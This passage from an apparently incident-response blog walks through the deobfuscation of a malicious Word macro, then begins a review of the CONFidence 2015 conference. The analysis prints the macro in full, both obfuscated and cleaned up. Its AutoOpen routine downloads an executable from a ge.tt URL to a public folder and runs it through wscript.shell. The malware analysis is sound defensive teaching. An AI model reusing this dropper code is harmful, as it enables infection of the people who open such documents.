</span><span class='line'>    <span class="nv">lFA9cYQDsQOBIWU</span> <span class="o">=</span> ProudtoBecomeaNepaliReverseEngineer<span class="o">(</span>0, CheckNumbers + CheckNumbers + CheckNumbers + CheckNumbers + CheckNumbers + iJghBfgBgBfgfVfBfVBFVBFhjhBjcVBcdVBCVBGBhjfGBFG <span class="p">&amp;</span> CheckNumbers <span class="p">&amp;</span> CheckNumbers <span class="p">&amp;</span> CheckNumbers, CheckNumbers <span class="p">&amp;</span> CheckNumbers <span class="p">&amp;</span> CheckNumbers <span class="p">&amp;</span> OIKJIKHJHBNJVbCVBCXVSDfsDFASdfwDEGERTYITIopoijhihujhb <span class="p">&amp;</span> CheckNumbers <span class="p">&amp;</span> CheckNumbers, 0, 0<span class="o">)</span>
</span><span class='line'>
</span><span class='line'>   If Dir<span class="o">(</span>OIKJIKHJHBNJVbCVBCXVSDfsDFASdfwDEGERTYITIopoijhihujhb<span class="o">)</span> &lt;&gt; <span class="s2">&quot;&quot;</span> Then
</span><span class='line'>   Dim oJiHCFDFGEdCdfrVgyBHgyHJYGHjGbhYTfGHGfHJKHJJgUJIFGHjDfgHJdfh As Object
</span><span class='line'>   Set <span class="nv">oJiHCFDFGEdCdfrVgyBHgyHJYGHjGbhYTfGHGfHJKHJJgUJIFGHjDfgHJdfh</span> <span class="o">=</span> CreateObject<span class="o">(</span>IsProgramRegistered <span class="p">&amp;</span> Split<span class="o">(</span>AnotherShitisHereSaysthis<span class="o">)(</span>3<span class="o">))</span>
</span><span class='line'>   Set <span class="nv">oJiHCFDFGEdCdfrVgyBHgyHJYGHjGbhYTfGHGfHJKHJJgUJIFGHjDfgHJdfh</span> <span class="o">=</span> oJiHCFDFGEdCdfrVgyBHgyHJYGHjGbhYTfGHGfHJKHJJgUJIFGHjDfgHJdfh.exec<span class="o">(</span>OIKJIKHJHBNJVbCVBCXVSDfsDFASdfwDEGERTYITIopoijhihujhb<span class="o">)</span>
</span><span class='line'>   End If
</span><span class='line'>End Sub
</span><span class='line'>
</span><span class='line'>- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
</span><span class='line'>ANALYSIS:
</span><span class='line'>+------------+--------------------+---------------------------------------+
</span><span class='line'><span class="p">|</span> Type       <span class="p">|</span> Keyword            <span class="p">|</span> Description                           <span class="p">|</span>
</span><span class='line'>+------------+--------------------+---------------------------------------+
</span><span class='line'><span class="p">|</span> AutoExec   <span class="p">|</span> AutoOpen           <span class="p">|</span> Runs when the Word document is opened <span class="p">|</span>
</span><span class='line'><span class="p">|</span> Suspicious <span class="p">|</span> CreateObject       <span class="p">|</span> May create an OLE object              <span class="p">|</span>
</span><span class='line'><span class="p">|</span> Suspicious <span class="p">|</span> Lib                <span class="p">|</span> May run code from a DLL               <span class="p">|</span>
</span><span class='line'><span class="p">|</span> Suspicious <span class="p">|</span> URLDownloadToFileA <span class="p">|</span> May download files from the Internet  <span class="p">|</span>
</span><span class='line'>+------------+--------------------+---------------------------------------+
</span></code></pre></td></tr></table></div></figure>


<p>Unfortunately neither of the tools is able to deobfuscate the code it would be too easy! So far we researched different methods of finding and extracting malicious code from OLE documents. It is high time to deobfuscate this bad boy!</p>

<h3>Code deobfuscation</h3>

<p>There is never a &ldquo;one fits all&rdquo; solution to deobfuscate code.
Good thing to start with is to clean up the code from randomly generated variable names.
For this just open the code in any text editor and use &ldquo;find and replace&rdquo; feature to replace randomly named variables into something more readable.</p>

<p>I like to rename variables so they start with capital letter informing me about the variable type, for instance:</p>

<ul>
<li><code>S_var1</code> means this variable is of a <code>String</code> type.</li>
</ul>


<p>This is how code looks like after initial clean up:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
<span class='line-number'>34</span>
<span class='line-number'>35</span>
<span class='line-number'>36</span>
<span class='line-number'>37</span>
<span class='line-number'>38</span>
<span class='line-number'>39</span>
<span class='line-number'>40</span>
<span class='line-number'>41</span>
<span class='line-number'>42</span>
<span class='line-number'>43</span>
</pre></td><td class='code'><pre><code class='vbnet'><span class='line'><span class="n">Attribute</span> <span class="n">VB_Name</span> <span class="o">=</span> <span class="s">&quot;NewMacros&quot;</span>
</span><span class='line'><span class="cp">#If VBA7 Then</span>
</span><span class='line'>    <span class="k">Private</span> <span class="k">Declare</span> <span class="n">PtrSafe</span> <span class="k">Function</span> <span class="nf">ProudtoBecomeaNepaliReverseEngineer</span> <span class="k">Lib</span> <span class="s">&quot;urlmon&quot;</span> <span class="k">Alias</span> <span class="s">&quot;URLDownloadToFileA&quot;</span> <span class="n">_</span>
</span><span class='line'>    <span class="p">(</span><span class="k">ByVal</span> <span class="n">L_var1</span> <span class="ow">As</span> <span class="kt">Long</span><span class="p">,</span> <span class="k">ByVal</span> <span class="n">S_var1</span> <span class="ow">As</span> <span class="kt">String</span><span class="p">,</span> <span class="k">ByVal</span> <span class="n">S_var2</span> <span class="ow">As</span> <span class="kt">String</span><span class="p">,</span> <span class="k">ByVal</span> <span class="n">L_var2</span> <span class="ow">As</span> <span class="kt">Long</span><span class="p">,</span> <span class="k">ByVal</span> <span class="n">L_var3</span> <span class="ow">As</span> <span class="kt">Long</span><span class="p">)</span> <span class="ow">As</span> <span class="kt">Long</span>
</span><span class='line'><span class="p">#</span><span class="k">Else</span>
</span><span class='line'>    <span class="k">Private</span> <span class="k">Declare</span> <span class="k">Function</span> <span class="nf">ProudtoBecomeaNepaliReverseEngineer</span> <span class="k">Lib</span> <span class="s">&quot;urlmon&quot;</span> <span class="k">Alias</span> <span class="s">&quot;URLDownloadToFileA&quot;</span> <span class="n">_</span>
</span><span class='line'>     <span class="p">(</span><span class="k">ByVal</span> <span class="n">L_var4</span> <span class="ow">As</span> <span class="kt">Long</span><span class="p">,</span> <span class="k">ByVal</span> <span class="n">S_var3</span> <span class="ow">As</span> <span class="kt">String</span><span class="p">,</span> <span class="k">ByVal</span> <span class="n">S_var4</span> <span class="ow">As</span> <span class="kt">String</span><span class="p">,</span> <span class="k">ByVal</span> <span class="n">L_var5</span> <span class="ow">As</span> <span class="kt">Long</span><span class="p">,</span> <span class="k">ByVal</span> <span class="n">L_var6</span> <span class="ow">As</span> <span class="kt">Long</span><span class="p">)</span> <span class="ow">As</span> <span class="kt">Long</span>
</span><span class='line'><span class="cp">#End If</span>
</span><span class='line'>
</span><span class='line'><span class="k">Sub</span> <span class="nf">AutoOpen</span><span class="p">()</span>
</span><span class='line'>    <span class="k">Dim</span> <span class="n">S_var5</span> <span class="ow">As</span> <span class="kt">String</span>
</span><span class='line'>    <span class="k">Dim</span> <span class="n">S_var6</span> <span class="ow">As</span> <span class="kt">String</span>
</span><span class='line'>    <span class="n">S_var6</span> <span class="o">=</span> <span class="n">CurDir</span><span class="p">()</span>
</span><span class='line'>    <span class="k">Dim</span> <span class="n">NewPath</span> <span class="ow">As</span> <span class="kt">String</span>
</span><span class='line'>    <span class="n">NewPath</span> <span class="o">=</span> <span class="n">Replace</span><span class="p">(</span><span class="n">S_var6</span><span class="p">,</span> <span class="s">&quot;\Desktop&quot;</span><span class="p">,</span> <span class="s">&quot;\AppData\Roaming&quot;</span><span class="p">)</span>
</span><span class='line'>    <span class="n">NewPath</span> <span class="o">=</span> <span class="s">&quot;C:\Users\Public\Documents&quot;</span>
</span><span class='line'>    <span class="k">Dim</span> <span class="n">CheckNumbers</span> <span class="ow">As</span> <span class="kt">String</span>
</span><span class='line'>    <span class="n">CheckNumbers</span> <span class="o">=</span> <span class="s">&quot;&quot;</span>
</span><span class='line'>    <span class="k">Dim</span> <span class="n">S_var7</span> <span class="ow">As</span> <span class="kt">String</span>
</span><span class='line'>    <span class="k">Dim</span> <span class="n">NewString</span> <span class="ow">As</span> <span class="kt">String</span>
</span><span class='line'>    <span class="n">NewString</span> <span class="o">=</span> <span class="s">&quot;Umbrella HBjhbhjkshdjkhJNggg GjHgggJkmNjh .exe GjNghJGjhJggggJh ggJnggfgHfgHdfG dfGdfGHHfGHH dDFCdFGBHVBhGjijok ghnfVBFGRTYJh fCvFgyhBgHHhFvB&quot;</span>
</span><span class='line'>    <span class="k">Dim</span> <span class="n">LotsofFuckingStringinallinOne</span> <span class="ow">As</span> <span class="kt">String</span>
</span><span class='line'>    <span class="n">LotsofFuckingStringinallinOne</span> <span class="o">=</span> <span class="s">&quot;protection \ vulnerable worksheet wsc footage s rasberry student&quot;</span>
</span><span class='line'>    <span class="k">Dim</span> <span class="n">AnotherShitisHereSaysthis</span> <span class="ow">As</span> <span class="kt">String</span>
</span><span class='line'>    <span class="n">AnotherShitisHereSaysthis</span> <span class="o">=</span> <span class="s">&quot;SbieCtrl encryption deauthentication hell ript. intrusion wireshark&quot;</span>
</span><span class='line'>    <span class="k">Dim</span> <span class="n">FinalWord</span> <span class="ow">As</span> <span class="kt">String</span>
</span><span class='line'>    <span class="n">FinalWord</span> <span class="o">=</span> <span class="n">CheckNumbers</span> <span class="o">+</span> <span class="n">Split</span><span class="p">(</span><span class="n">LotsofFuckingStringinallinOne</span><span class="p">)(</span><span class="mi">4</span><span class="p">)</span> <span class="o">+</span> <span class="n">CheckNumbers</span> <span class="o">+</span> <span class="n">Split</span><span class="p">(</span><span class="n">AnotherShitisHereSaysthis</span><span class="p">)(</span><span class="mi">4</span><span class="p">)</span>
</span><span class='line'>    <span class="n">S_var7</span> <span class="o">=</span> <span class="n">Split</span><span class="p">(</span><span class="n">AnotherShitisHereSaysthis</span><span class="p">)(</span><span class="mi">0</span><span class="p">)</span> <span class="o">&amp;</span> <span class="n">Split</span><span class="p">(</span><span class="n">NewString</span><span class="p">)(</span><span class="mi">3</span><span class="p">)</span>
</span><span class='line'>    <span class="n">S_var8</span> <span class="o">=</span> <span class="s">&quot;http://ge&quot;</span> <span class="o">&amp;</span> <span class="s">&quot;.&quot;</span> <span class="o">&amp;</span> <span class="s">&quot;tt/api/1/files/2gmBurF2/0/blob?download&quot;</span> <span class="o">+</span> <span class="n">CheckNumbers</span>
</span><span class='line'>    <span class="k">Dim</span> <span class="n">IsProgramRegistered</span> <span class="ow">As</span> <span class="kt">String</span><span class="p">:</span> <span class="n">IsProgramRegistered</span> <span class="o">=</span> <span class="n">FinalWord</span> <span class="o">&amp;</span> <span class="n">Split</span><span class="p">(</span><span class="n">LotsofFuckingStringinallinOne</span><span class="p">)(</span><span class="mi">6</span><span class="p">)</span>
</span><span class='line'>    <span class="n">S_var9</span> <span class="o">=</span> <span class="n">CheckNumbers</span> <span class="o">+</span> <span class="n">CheckNumbers</span> <span class="o">+</span> <span class="n">CheckNumbers</span> <span class="o">+</span> <span class="s">&quot;&quot;</span> <span class="o">+</span> <span class="n">CheckNumbers</span> <span class="o">+</span> <span class="n">CheckNumbers</span>
</span><span class='line'>    <span class="n">S_var10</span> <span class="o">=</span> <span class="n">S_var9</span> <span class="o">&amp;</span> <span class="n">S_var8</span> <span class="o">&amp;</span> <span class="s">&quot;&quot;</span>
</span><span class='line'>    <span class="n">S_var11</span> <span class="o">=</span> <span class="n">S_var10</span>
</span><span class='line'>    <span class="n">S_var12</span> <span class="o">=</span> <span class="n">NewPath</span> <span class="o">&amp;</span> <span class="n">Split</span><span class="p">(</span><span class="n">LotsofFuckingStringinallinOne</span><span class="p">)(</span><span class="mi">1</span><span class="p">)</span> <span class="o">&amp;</span> <span class="n">S_var7</span> <span class="o">+</span> <span class="n">CheckNumbers</span>
</span><span class='line'>    <span class="n">S_var13</span> <span class="o">=</span> <span class="n">S_var12</span>
</span><span class='line'>    <span class="n">S_var14</span> <span class="o">=</span> <span class="n">ProudtoBecomeaNepaliReverseEngineer</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">CheckNumbers</span> <span class="o">+</span> <span class="n">CheckNumbers</span> <span class="o">+</span> <span class="n">CheckNumbers</span> <span class="o">+</span> <span class="n">CheckNumbers</span> <span class="o">+</span> <span class="n">CheckNumbers</span> <span class="o">+</span> <span class="n">S_var11</span> <span class="o">&amp;</span> <span class="n">CheckNumbers</span> <span class="o">&amp;</span> <span class="n">CheckNumbers</span> <span class="o">&amp;</span> <span class="n">CheckNumbers</span><span class="p">,</span> <span class="n">CheckNumbers</span> <span class="o">&amp;</span> <span class="n">CheckNumbers</span> <span class="o">&amp;</span> <span class="n">CheckNumbers</span> <span class="o">&amp;</span> <span class="n">S_var12</span> <span class="o">&amp;</span> <span class="n">CheckNumbers</span> <span class="o">&amp;</span> <span class="n">CheckNumbers</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'>   <span class="k">If</span> <span class="n">Dir</span><span class="p">(</span><span class="n">S_var12</span><span class="p">)</span> <span class="o">&lt;&gt;</span> <span class="s">&quot;&quot;</span> <span class="k">Then</span>
</span><span class='line'>   <span class="k">Dim</span> <span class="n">O_var1</span> <span class="ow">As</span> <span class="kt">Object</span>
</span><span class='line'>   <span class="k">Set</span> <span class="n">O_var1</span> <span class="o">=</span> <span class="n">CreateObject</span><span class="p">(</span><span class="n">IsProgramRegistered</span> <span class="o">&amp;</span> <span class="n">Split</span><span class="p">(</span><span class="n">AnotherShitisHereSaysthis</span><span class="p">)(</span><span class="mi">3</span><span class="p">))</span>
</span><span class='line'>   <span class="k">Set</span> <span class="n">O_var1</span> <span class="o">=</span> <span class="n">O_var1</span><span class="p">.</span><span class="n">exec</span><span class="p">(</span><span class="n">S_var12</span><span class="p">)</span>
</span><span class='line'>   <span class="k">End</span> <span class="k">If</span>
</span><span class='line'><span class="k">End</span> <span class="k">Sub</span>
</span></code></pre></td></tr></table></div></figure>


<p>Obfuscation seems to rely on string operations. Next step would be to perform all operations on <code>String</code> variables, for instance:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class='python'><span class='line'><span class="s">&quot;a&quot;</span> <span class="o">+</span> <span class="s">&quot;b&quot;</span> <span class="o">==</span> <span class="s">&quot;ab&quot;</span>
</span><span class='line'><span class="s">&quot;c&quot;</span> <span class="o">&amp;</span> <span class="s">&quot;&quot;</span> <span class="o">==</span> <span class="s">&quot;c&quot;</span>
</span><span class='line'><span class="n">Split</span><span class="p">(</span><span class="n">LotsofFuckingStringinallinOne</span><span class="p">)(</span><span class="mi">1</span><span class="p">)</span> <span class="o">==</span> <span class="s">&quot;</span><span class="se">\&quot;</span>
</span></code></pre></td></tr></table></div></figure>


<p>After a few operations code becomes much more readable:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
<span class='line-number'>34</span>
<span class='line-number'>35</span>
<span class='line-number'>36</span>
<span class='line-number'>37</span>
<span class='line-number'>38</span>
<span class='line-number'>39</span>
<span class='line-number'>40</span>
<span class='line-number'>41</span>
<span class='line-number'>42</span>
<span class='line-number'>43</span>
</pre></td><td class='code'><pre><code class='vbnet'><span class='line'><span class="n">Attribute</span> <span class="n">VB_Name</span> <span class="o">=</span> <span class="s">&quot;NewMacros&quot;</span>
</span><span class='line'><span class="cp">#If VBA7 Then</span>
</span><span class='line'>    <span class="k">Private</span> <span class="k">Declare</span> <span class="n">PtrSafe</span> <span class="k">Function</span> <span class="nf">ProudtoBecomeaNepaliReverseEngineer</span> <span class="k">Lib</span> <span class="s">&quot;urlmon&quot;</span> <span class="k">Alias</span> <span class="s">&quot;URLDownloadToFileA&quot;</span> <span class="n">_</span>
</span><span class='line'>    <span class="p">(</span><span class="k">ByVal</span> <span class="n">L_var1</span> <span class="ow">As</span> <span class="kt">Long</span><span class="p">,</span> <span class="k">ByVal</span> <span class="n">S_var1</span> <span class="ow">As</span> <span class="kt">String</span><span class="p">,</span> <span class="k">ByVal</span> <span class="n">S_var2</span> <span class="ow">As</span> <span class="kt">String</span><span class="p">,</span> <span class="k">ByVal</span> <span class="n">L_var2</span> <span class="ow">As</span> <span class="kt">Long</span><span class="p">,</span> <span class="k">ByVal</span> <span class="n">L_var3</span> <span class="ow">As</span> <span class="kt">Long</span><span class="p">)</span> <span class="ow">As</span> <span class="kt">Long</span>
</span><span class='line'><span class="p">#</span><span class="k">Else</span>
</span><span class='line'>    <span class="k">Private</span> <span class="k">Declare</span> <span class="k">Function</span> <span class="nf">ProudtoBecomeaNepaliReverseEngineer</span> <span class="k">Lib</span> <span class="s">&quot;urlmon&quot;</span> <span class="k">Alias</span> <span class="s">&quot;URLDownloadToFileA&quot;</span> <span class="n">_</span>
</span><span class='line'>     <span class="p">(</span><span class="k">ByVal</span> <span class="n">L_var4</span> <span class="ow">As</span> <span class="kt">Long</span><span class="p">,</span> <span class="k">ByVal</span> <span class="n">S_var3</span> <span class="ow">As</span> <span class="kt">String</span><span class="p">,</span> <span class="k">ByVal</span> <span class="n">S_var4</span> <span class="ow">As</span> <span class="kt">String</span><span class="p">,</span> <span class="k">ByVal</span> <span class="n">L_var5</span> <span class="ow">As</span> <span class="kt">Long</span><span class="p">,</span> <span class="k">ByVal</span> <span class="n">L_var6</span> <span class="ow">As</span> <span class="kt">Long</span><span class="p">)</span> <span class="ow">As</span> <span class="kt">Long</span>
</span><span class='line'><span class="cp">#End If</span>
</span><span class='line'>
</span><span class='line'><span class="k">Sub</span> <span class="nf">AutoOpen</span><span class="p">()</span>
</span><span class='line'>    <span class="k">Dim</span> <span class="n">S_var5</span> <span class="ow">As</span> <span class="kt">String</span>
</span><span class='line'>    <span class="k">Dim</span> <span class="n">S_var6</span> <span class="ow">As</span> <span class="kt">String</span>
</span><span class='line'>    <span class="n">S_var6</span> <span class="o">=</span> <span class="n">CurDir</span><span class="p">()</span>
</span><span class='line'>    <span class="k">Dim</span> <span class="n">NewPath</span> <span class="ow">As</span> <span class="kt">String</span>
</span><span class='line'>    <span class="n">NewPath</span> <span class="o">=</span> <span class="n">Replace</span><span class="p">(</span><span class="n">S_var6</span><span class="p">,</span> <span class="s">&quot;\Desktop&quot;</span><span class="p">,</span> <span class="s">&quot;\AppData\Roaming&quot;</span><span class="p">)</span>
</span><span class='line'>    <span class="n">NewPath</span> <span class="o">=</span> <span class="s">&quot;C:\Users\Public\Documents&quot;</span>
</span><span class='line'>    <span class="k">Dim</span> <span class="n">CheckNumbers</span> <span class="ow">As</span> <span class="kt">String</span>
</span><span class='line'>    <span class="n">CheckNumbers</span> <span class="o">=</span> <span class="s">&quot;&quot;</span>
</span><span class='line'>    <span class="k">Dim</span> <span class="n">S_var7</span> <span class="ow">As</span> <span class="kt">String</span>
</span><span class='line'>    <span class="k">Dim</span> <span class="n">NewString</span> <span class="ow">As</span> <span class="kt">String</span>
</span><span class='line'>    <span class="n">NewString</span> <span class="o">=</span> <span class="s">&quot;Umbrella HBjhbhjkshdjkhJNggg GjHgggJkmNjh .exe GjNghJGjhJggggJh ggJnggfgHfgHdfG dfGdfGHHfGHH dDFCdFGBHVBhGjijok ghnfVBFGRTYJh fCvFgyhBgHHhFvB&quot;</span>
</span><span class='line'>    <span class="k">Dim</span> <span class="n">LotsofFuckingStringinallinOne</span> <span class="ow">As</span> <span class="kt">String</span>
</span><span class='line'>    <span class="n">LotsofFuckingStringinallinOne</span> <span class="o">=</span> <span class="s">&quot;protection \ vulnerable worksheet wsc footage s rasberry student&quot;</span>
</span><span class='line'>    <span class="k">Dim</span> <span class="n">AnotherShitisHereSaysthis</span> <span class="ow">As</span> <span class="kt">String</span>
</span><span class='line'>    <span class="n">AnotherShitisHereSaysthis</span> <span class="o">=</span> <span class="s">&quot;SbieCtrl encryption deauthentication hell ript. intrusion wireshark&quot;</span>
</span><span class='line'>    <span class="k">Dim</span> <span class="n">FinalWord</span> <span class="ow">As</span> <span class="kt">String</span>
</span><span class='line'>    <span class="n">FinalWord</span> <span class="o">=</span> <span class="s">&quot;wscript.&quot;</span>
</span><span class='line'>    <span class="n">S_var7</span> <span class="o">=</span> <span class="s">&quot;SbieCtrl&quot;</span><span class="p">.</span><span class="n">exe</span><span class="s">&quot;</span>
</span><span class='line'><span class="s">    S_var8 = &quot;</span><span class="n">http</span><span class="p">:</span><span class="o">//</span><span class="n">ge</span><span class="p">.</span><span class="n">tt</span><span class="o">/</span><span class="n">api</span><span class="o">/</span><span class="mi">1</span><span class="o">/</span><span class="n">files</span><span class="o">/</span><span class="mi">2</span><span class="n">gmBurF2</span><span class="o">/</span><span class="mi">0</span><span class="o">/</span><span class="n">blob</span><span class="err">?</span><span class="n">download</span><span class="s">&quot;</span>
</span><span class='line'><span class="s">    Dim IsProgramRegistered As String: IsProgramRegistered = &quot;</span><span class="n">wscripts</span><span class="s">&quot;</span>
</span><span class='line'><span class="s">    S_var9 = &quot;&quot;</span>
</span><span class='line'><span class="s">    S_var10 = &quot;</span><span class="n">http</span><span class="p">:</span><span class="o">//</span><span class="n">ge</span><span class="p">.</span><span class="n">tt</span><span class="o">/</span><span class="n">api</span><span class="o">/</span><span class="mi">1</span><span class="o">/</span><span class="n">files</span><span class="o">/</span><span class="mi">2</span><span class="n">gmBurF2</span><span class="o">/</span><span class="mi">0</span><span class="o">/</span><span class="n">blob</span><span class="err">?</span><span class="n">download</span><span class="s">&quot;</span>
</span><span class='line'><span class="s">    S_var11 = &quot;</span><span class="n">http</span><span class="p">:</span><span class="o">//</span><span class="n">ge</span><span class="p">.</span><span class="n">tt</span><span class="o">/</span><span class="n">api</span><span class="o">/</span><span class="mi">1</span><span class="o">/</span><span class="n">files</span><span class="o">/</span><span class="mi">2</span><span class="n">gmBurF2</span><span class="o">/</span><span class="mi">0</span><span class="o">/</span><span class="n">blob</span><span class="err">?</span><span class="n">download</span><span class="s">&quot;</span>
</span><span class='line'><span class="s">    S_var12 = &quot;C</span><span class="p">:</span><span class="o">\</span><span class="n">Users</span><span class="o">\</span><span class="k">Public</span><span class="o">\</span><span class="n">Documents</span><span class="o">\</span><span class="n">SbieCtrl</span><span class="p">.</span><span class="n">exe</span><span class="s">&quot;</span>
</span><span class='line'><span class="s">    S_var13 = &quot;C</span><span class="p">:</span><span class="o">\</span><span class="n">Users</span><span class="o">\</span><span class="k">Public</span><span class="o">\</span><span class="n">Documents</span><span class="o">\</span><span class="n">SbieCtrl</span><span class="p">.</span><span class="n">exe</span><span class="s">&quot;</span>
</span><span class='line'><span class="s">    S_var14 = ProudtoBecomeaNepaliReverseEngineer(0,&quot;</span><span class="n">http</span><span class="p">:</span><span class="o">//</span><span class="n">ge</span><span class="p">.</span><span class="n">tt</span><span class="o">/</span><span class="n">api</span><span class="o">/</span><span class="mi">1</span><span class="o">/</span><span class="n">files</span><span class="o">/</span><span class="mi">2</span><span class="n">gmBurF2</span><span class="o">/</span><span class="mi">0</span><span class="o">/</span><span class="n">blob</span><span class="err">?</span><span class="n">download</span><span class="s">&quot;,&quot;C</span><span class="p">:</span><span class="o">\</span><span class="n">Users</span><span class="o">\</span><span class="k">Public</span><span class="o">\</span><span class="n">Documents</span><span class="o">\</span><span class="n">SbieCtrl</span><span class="p">.</span><span class="n">exe</span><span class="s">&quot;, 0, 0)</span>
</span><span class='line'><span class="s">      </span>
</span><span class='line'><span class="s">   If Dir(S_var12) &lt;&gt; &quot;&quot; Then</span>
</span><span class='line'><span class="s">   Dim O_var1 As Object</span>
</span><span class='line'><span class="s">   Set O_var1 = CreateObject(&quot;</span><span class="n">wscript</span><span class="p">.</span><span class="n">shell</span><span class="s">&quot;)</span>
</span><span class='line'><span class="s">   Set O_var1 = O_var1.exec(&quot;C</span><span class="p">:</span><span class="o">\</span><span class="n">Users</span><span class="o">\</span><span class="k">Public</span><span class="o">\</span><span class="n">Documents</span><span class="o">\</span><span class="n">SbieCtrl</span><span class="p">.</span><span class="n">exe</span><span class="s">&quot;)</span>
</span><span class='line'><span class="s">   End If</span>
</span><span class='line'><span class="s">End Sub</span>
</span></code></pre></td></tr></table></div></figure>


<p>Code analysis summary:</p>

<ul>
<li><code>AutoOpen()</code> will be executed after the document is opened.</li>
<li><code>ProudtoBecomeNepaliReverseEngineer</code> is just an alias to <a href="https://msdn.microsoft.com/en-us/library/ms775123%28v=vs.85%29.aspx">URLDownloadToFile()</a></li>
<li><code>URLDownloadToFile()</code> accepts five parameters, including URL address <code>http://ge.tt/api/1/files/2gmBurF2/0/blob?download</code> and a file name
<code>C:\Users\Public\Documents\SbieCtrl.exe</code>.</li>
<li>Both information serve as a network and host indicators that might be used to check for successful compromise.</li>
</ul>


<h3>Conclusions</h3>

<p>It&rsquo;s never a good option to rely on only one tool. Analyzing malicious documents is all about finding, extracting and analyzing malicious code. What would happen if bad guys used different obfuscation methods, document types or came up with new unknown technique? Would you be prepared with your current toolset? Having backup plan and additional tools in your toolset makes you ready for such scenario. In our short analysis <code>OfficeMalScanner</code> was not able to extract both streams correctly. What if this was your go to tool? Would you be able to perform analysis? I am not saying that any tool described in this post is better or worse than the other, all of them are great tools and allow you to do things differently it all really depends on your requirements. For instance <code>officeparser.py</code> and <code>oledump.py</code> allow you to interact with the file internals, however this might not be the most efficient approach if you have to analyze few documents where <a href="http://dfir.it/blog/2015/04/06/analysts-handbook-hunting-with-basic-osint-and-command-line-fu/">writing a while loop</a> and using <code>OfficeMalScanner</code> or <code>olevba.py</code> to dump the malicious code will do the trick for you.</p>

<p><strong>Never limit yourself</strong> to one tool, programming language or operating system. Be flexible and open-minded, have a backup plan, a proper toolset and you will be better prepared for the upcoming challenges!</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[DFIR.IT! on tour - CONFidence 2015 Cracow]]></title>
    <link href="http://dfir.it/blog/2015/05/29/dfir-dot-it-on-tour-confidence-2015-cracow/"/>
    <updated>2015-05-29T20:07:21+02:00</updated>
    <id>http://dfir.it/blog/2015/05/29/dfir-dot-it-on-tour-confidence-2015-cracow</id>
    <content type="html"><![CDATA[<p>DFIR.IT on tour continues! This time we&rsquo;ve decided to visit one of the longest-lasting and the best conferences in Poland. Expectations were high as it was our first event with all DFIR.IT members ready to roll, geek out and have fun. Unfortunately I am coming back a bit disappointed.</p>

<!--more-->


<h4>First and foremost</h4>

<p>Big THANK YOU to :</p>

<ul>
<li>CONFidence Team for creating the event</li>
<li>Dragon Sector Team for organizing CTF</li>
<li>Presenters for sharing research, ideas and thoughts</li>
<li>Attendees. Meeting open-minded people with passion is always an amazing experience
x <br/>
<img class="center" src="http://dfir.it/images/confidence-2015/confidence-badge.jpg" title="CONFidence badge" alt="CONFidence badge"></li>
</ul>


<h3>Thoughts and observations</h3>

<p>I wanted to use this section to describe the presentations that influence me in one way or another and are worth spreading. Please don&rsquo;t get me wrong. It is not that there was nothing interesting at <strong>CONFidence</strong> this year. The last thing I intend to do is to sound like a troll or hater. There are a few things that <strong>CONFidence</strong> got me thinking about and I really need to get it off my chest.</p>

<h4>Defense can be sexy?!</h4>

<p>Defenders need to get better at making their work more visible. It&rsquo;s tough! I know. You might have heard a few times phrase <strong>&lsquo;Defense is not sexy&rsquo;</strong>. Even I mentioned this in the past. But then again I am starting to realize that maybe we don&rsquo;t put enough effort to make it interesting for others. Inspire people by showing how responding to real threats and defending customers is one of the biggest challenges in the industry. There&rsquo;s an awful lot of young guys in my team with mindset of becoming pentesters because it&rsquo;s cool to pop a shell here or there. I&rsquo;ve seen people passing OSCP, which is not the easiest thing to do, and struggle to find evil. Defending is hard, defending is challenging, let&rsquo;s make it more visible, interesting and inspiring!</p>

<h4>Pentest != IR</h4>

<p>I&rsquo;ve seen a lot of brainy guys who were amazing pentesters that eventually got bored and transitioned into IR and were very successful at it. However it was a process - not something they did over night. The thing I am trying to emphasize here is just because you know how to attack does not mean you know how to defend. Pentesters can become awesome defenders but pentesters by default <strong>ARE NOT</strong> awesome defenders.</p>

<h4>APT != &lsquo;Advance(d)&rsquo; Penetration Testing</h4>

